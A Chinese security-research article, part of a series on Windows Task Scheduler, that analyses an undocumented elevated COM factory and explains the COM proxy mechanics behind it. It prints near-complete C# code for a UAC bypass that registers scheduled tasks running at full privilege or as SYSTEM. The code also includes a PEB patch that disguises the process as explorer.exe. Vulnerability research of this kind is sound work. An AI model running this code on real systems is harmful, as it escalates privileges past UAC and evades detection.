Advanced Windows Task Scheduler Playbook – Part.2 （下）

Advanced Windows Task Scheduler Playbook – Part.2 （下） | 高级攻防09
2022-7-12 12:1:39 Author: www.secpulse.com(查看原文) 阅读量:31 收藏

本文约8000字，阅读约需14分钟。

在上半部分文章中，我们发现了未文档化COM组件。接下来要做的，就是对这个组件进行分析，找到其设计层面的意义，以及探寻是否存在利用的可能。

分析

接下来，我们开始分析COM所实现功能，以及是否可以利用。

%SystemRoot%System32shpafact.dll

代码量极少，让我们用五分钟时间进行快速分析。首先根据：

"https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject"

COM通过固定导出函数DllGetClassObject创建实例，shpafact.dll创建了CClassFactory作为工厂类：

CClassFactory作为工厂支持创建多个对象，我们的目标组件：

"A6BFEA43-501F-456F-A845-983D3AD7B8F0"

并非已知的两个CLSID之一，将进入最下方分支:

"CElevatedFactoryServer::CreateInstance"

这个方法最终将直接返回CElevatedFactoryServer对象实例：

CElevatedFactoryServer对象继承自IUnknown，且仅有一个对象方法ServerCreateInstance：

ServerCreateInstance方法签名为：

HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*)

当REFCLSID参数已在VirtualServerObjects注册表项注册的情况下，将直接创建指定CLSID的对象：

根据QueryInterface方法可得到IID_ElevatedFactoryServer为：

"804bd226-af47-4d71-b492-443a57610b08"

此时我们拿到了COM调用必需的CLSID、IID、虚函数表、方法签名，稍作整理即可得到以下IDL：

[uuid(804bd226-af47-4d71-b492-443a57610b08)]interface IElevatedFactoryServer : IUnknown {   HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);};
[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]coclass ElevatedFactoryServer {   interface IElevatedFactoryServer;
};

调用

获取到IDL之后，直接使用合适的语言进行调用即可，例如转换为C#等价Interop代码：

[Guid("804bd226-af47-4d71-b492-443a57610b08")][InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IElevatedFactoryServer{ [return: MarshalAs(UnmanagedType.Interface)] object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}

我们需要创建提升后的（Elevated）COM对象，所以必须使用CoGetObject结合Elevation Moniker进行激活：

BIND_OPTS3 opt = new BIND_OPTS3();opt.cbStruct = (uint)Marshal.SizeOf(opt);opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;

随后调用ServerCreateElevatedObject方法获取ITaskService实例：

var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;

这个ITaskService实例实际上在提升后的进程中运行，所以可使用TASK_RUNLEVEL_HIGHEST标记创建以完整令牌运行的计划任务，这等价于将xml文件TaskPrincipalsPrincipalRunLevel的值指定为HighestAvailable：

<Principals>   <Principal id="Author">     <RunLevel>HighestAvailable</RunLevel>
</Principal></Principals>

使用此xml进行注册：

svc.Connect();var folder = svc.GetFolder("\\");var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);

以及不要忘记对当前进程PEB进行Patch：

var fake = "explorer.exe";var fake2 = @"c:\windows\explorer.exe";var PPEB = RtlGetCurrentPeb();PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));RtlInitUnicodeString(pImagePathName, fake2);RtlInitUnicodeString(pCommandLine, fake2);
PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());var first = pFlink;do{   LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));   if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)   {       pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;       continue;   }   try   {       if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))       {           RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);           RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);           LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));           break;       }   }   catch { }   pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);

编译执行，不出意外的话我们将以提升后的身份运行xml中指定的命令（这里是cmd）：

至此，我们成功的发现了一个未公开的UAC Bypass。

但这并不是结束。我们前面提到了修改XML文件Principal节点的值来注册以完整令牌运行的计划任务，而这个XML节点架构定义记录于:

"MS-TSCH 2.5.6 Principal Schema Part"

"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b"

根据文档所述，Principal节点可包含子节点UserId，用于提供计划任务执行时的用户身份信息，其格式可以为用户名、SID、UPN、FQDN。

所以我们可以在XML中指定UserId为SYSTEM：

<Principals>   <Principal id="Author">     <UserId>SYSTEM</UserId>     <RunLevel>HighestAvailable</RunLevel>
</Principal></Principals>

随后，我们指定的命令将直接以SYSTEM身份运行：

即：我们通过一次无文件的UACBypass，直接获取到SYSTEM权限。

原理

至此，单纯的“安全研究”至武器化落地已经结束了。

但从纯粹知识的领域，这还不够。

请把思维暂时回溯至0x01基础一节，重新打开MSDN，对比完整的目标注册表项，在最后来为本文补充一个最为重要的理论依据。

我们知道经过UAC提升的COM对象需要使用CoGetObject函数，结合Elevation Moniker进行激活，这个行为记录在：

"https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker"

参考文章代码，我们注意到在微软的示例中采用CLSCTX_LOCAL_SERVER作为激活上下文标记，这表示要求DCOMLaunch创建一个新的进程外COM对象，A6BFEA43-501F-456F-A845-983D3AD7B8F0对象仅配置了InProcServe***，这将导致代理激活（Surrogate Activation）

"https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation"

关于代理激活有两个重要的点：首先从安全研究角度，配置了APPID的代理激活往往存在自定义权限检查。

参考文档：

"https://docs.microsoft.com/en-us/windows/win32/com/launchpermission"

"https://docs.microsoft.com/en-us/windows/win32/com/accesspermission"

默认隐式权限检查由注册表项：

HKEY_LOCAL_MACHINESOFTWAREClassesAppID{APPID}@LaunchPermission、HKEY_LOCAL_MACHINESOFTWAREClassesAppID{APPID}@AccessPermission

共同决定，其值为二进制格式表示的安全描述符Security Descriptor(SD) binary form。

所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式，采用Powershell进行解析后输出：

$x=get-itemproperty 'hklm:softwareclassesappid{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl

将得到类似下面的结果：

参考：

"https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids"

S-1-5-4对应NT AUTHORITYINTERACTIVE，任何通过交互式登录的用户都将授予该组身份，通过whoami /groups也能够确认这一点：

whoami /groups
组信息-----------------
组名                                   类型   SID          属性====================================== ====== ============ ==============================Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114    只用于拒绝的组BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组BUILTIN\Performance Log Users          别名   S-1-5-32-559 必需的组, 启用于默认, 启用的组BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4      必需的组, 启用于默认, 启用的组CONSOLE LOGON                          已知组 S-1-2-1      必需的组, 启用于默认, 启用的组NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组NT AUTHORITY\本地帐户                  已知组 S-1-5-113    必需的组, 启用于默认, 启用的组LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组NT AUTHORITY\NTLM Authentication       已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192

所以，作为交互式登录的我们才有权限激活以及调用提升后的COM组件。

其次，从程序设计角度，我们查看关于COM Proxy的定义。按照：

"https://docs.microsoft.com/en-us/windows/win32/com/proxy"

所述，代理对象驻留在调用方进程，充当远程对象的代理，在调用方看来，对代理对象的调用和直接调用真实对象并无区别。

这是一个完整的对象代理，应用且遵循代理模式，即代理对象的表现形式、暴露方法、调用方式与真实对象完全相同。

从Web安全的角度，可以理解为ysoserial里面到处都在用的InvocationHandler或Util返回的那个泛型对象，或是你用RetransformAgent劫持Tomcat Filter、Spring Controller之后，为了不影响业务而做的那个Wrapper；从开发的角度，等同于你用过的任何AOP。

所以我们在调用中所进行的操作可以翻译为：

1.我们要求COM激活器绑定至Moniker为Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}的对象，由于激活上下文标记为CLSCTX_LOCAL_SERVER，本地COM客户端（combase.dll）将请求DCOM服务，发送一个进程外（Out-Of-Process）、提升的（Elevated）激活请求。

2.DCOM根据组件注册信息（registration info）与激活上下文（Activation Context），确保A6BFEA43-501F-456F-A845-983D3AD7B8F0对象可以提升（实际上这里将调用AppInfo服务），且当前用户具备激活权限（存在包含已启用组S-1-5-4的显式DACL）。

3.DCOM服务在新的（new）、其他的（others）、提升后的（elevated）进程中进行激活（activation）操作，创建真实对象（Real Object）。

4.DCOM通知本地COM客户端激活成功（HRESULT=S_OK），本地客户端在当前进程创建真实对象的代理（Proxy）作为实际通信目标。

5.当前进程在代理对象上调用实例方法，该方法实际上由远程对象进行处理。

6.根据方法签名，调用将返回新的ITaskService对象引用。由于ITaskService对象未实现额外的编组（Marshalling）接口，COM进行默认封装，返回远程对象引用（Remote Object Reference，ObjRef）。

7.本地客户端在当前进程以代理对象（Proxy Object）形式创建ITaskService对象的代理（Proxy）。

8.根据MSDN所述，对象远程引用在调用方（caller）等于真实对象；根据CLSID，真实对象是一个ITaskService。

9.我们在未提升进程（unelevated process）中，获取到了在提升后进程（elevated process）的ITaskService对象代理，任何对代理对象的操作都将无条件转发至真实对象。

10.创建带有TASK_RUNLEVEL_HIGHEST标记或其它任意用户（例如SYSTEM）运行的计划任务。完成UAC绕过。

如果你有耐心看到这里，请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃，要理解这种模式背后的设计理念和思想，这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。

到这里，我们可以回答文章最开始提出的问题了：

1.确实存在一个未文档化的COM，能够根据我们可控制的方式调用计划任务组件。

2.这个组件配置了UAC提升，其通过默认COM代理，在提升后的代理进程内，根据已知的白名单CLSID，创建进程内COM对象；随后通过COM代理直接返回至调用方，供未提升的进程进行调用。

3.由于白名单中有且只有0f87369f-a4e5-4cfc-bd3e-73e6154572dd即计划任务（TaskService），导致未提升的进程可获取一个提升后的TaskService对象

4.通过调用此对象即可创建以完整权限运行的计划任务，实现UAC ByPass。

总结

这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的MS-TSCH协议与XML作为基础，结合COM基础知识作为补全。

随后发掘出有价值的研究目标，作为具有实战价值的工具与代码实现落地；最终我们重新梳理总结相关知识点，借本次这个实例重温关于COM诸多知识细节，并在实践中一一验证，实现“知识闭环”。

文章涉及的相关代码可以在：

"https://github.com/zcgonvh/TaskSchedulerMisc/"

找到。虽然能够直接编译执行，但我依然不建议直接拿来使用，这对于能力提升并没有任何好处。

注意：请遵守刑法、网络安全法等相关规定，我只是单纯分享知识，任何使用不当造成的后果请自行承担。另外，请尊重开源协议，抄代码做“武器化”挺无聊的不是么？

当然，这篇文章并不全面，我们只是单纯的根据注册表，然后根据其功能找到了一个UAC Bypass。

而其他的多个角度，无论是继续进行对计划任务的跟踪，或是重新对UAC乃至COM进行挖掘，从研究的角度看都有很多细节值得发散开来。

限于篇幅，一些拓展性质的思考将在后续某些系列中进行讲解。

最后，还是那句话，文章的目的是传递知识，论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧，只有知识积累才是串联一切的根本，最终厚积薄发乃至蜕变。

希望这篇文章能在技术点之外为各位带来启发。

- END -

本文作者：酒仙桥六号部队

本文为安全脉搏专栏作者发布，转载请注明：https://www.secpulse.com/archives/182953.html

文章来源: https://www.secpulse.com/archives/182953.html
如有侵权请联系:admin#unsafe.sh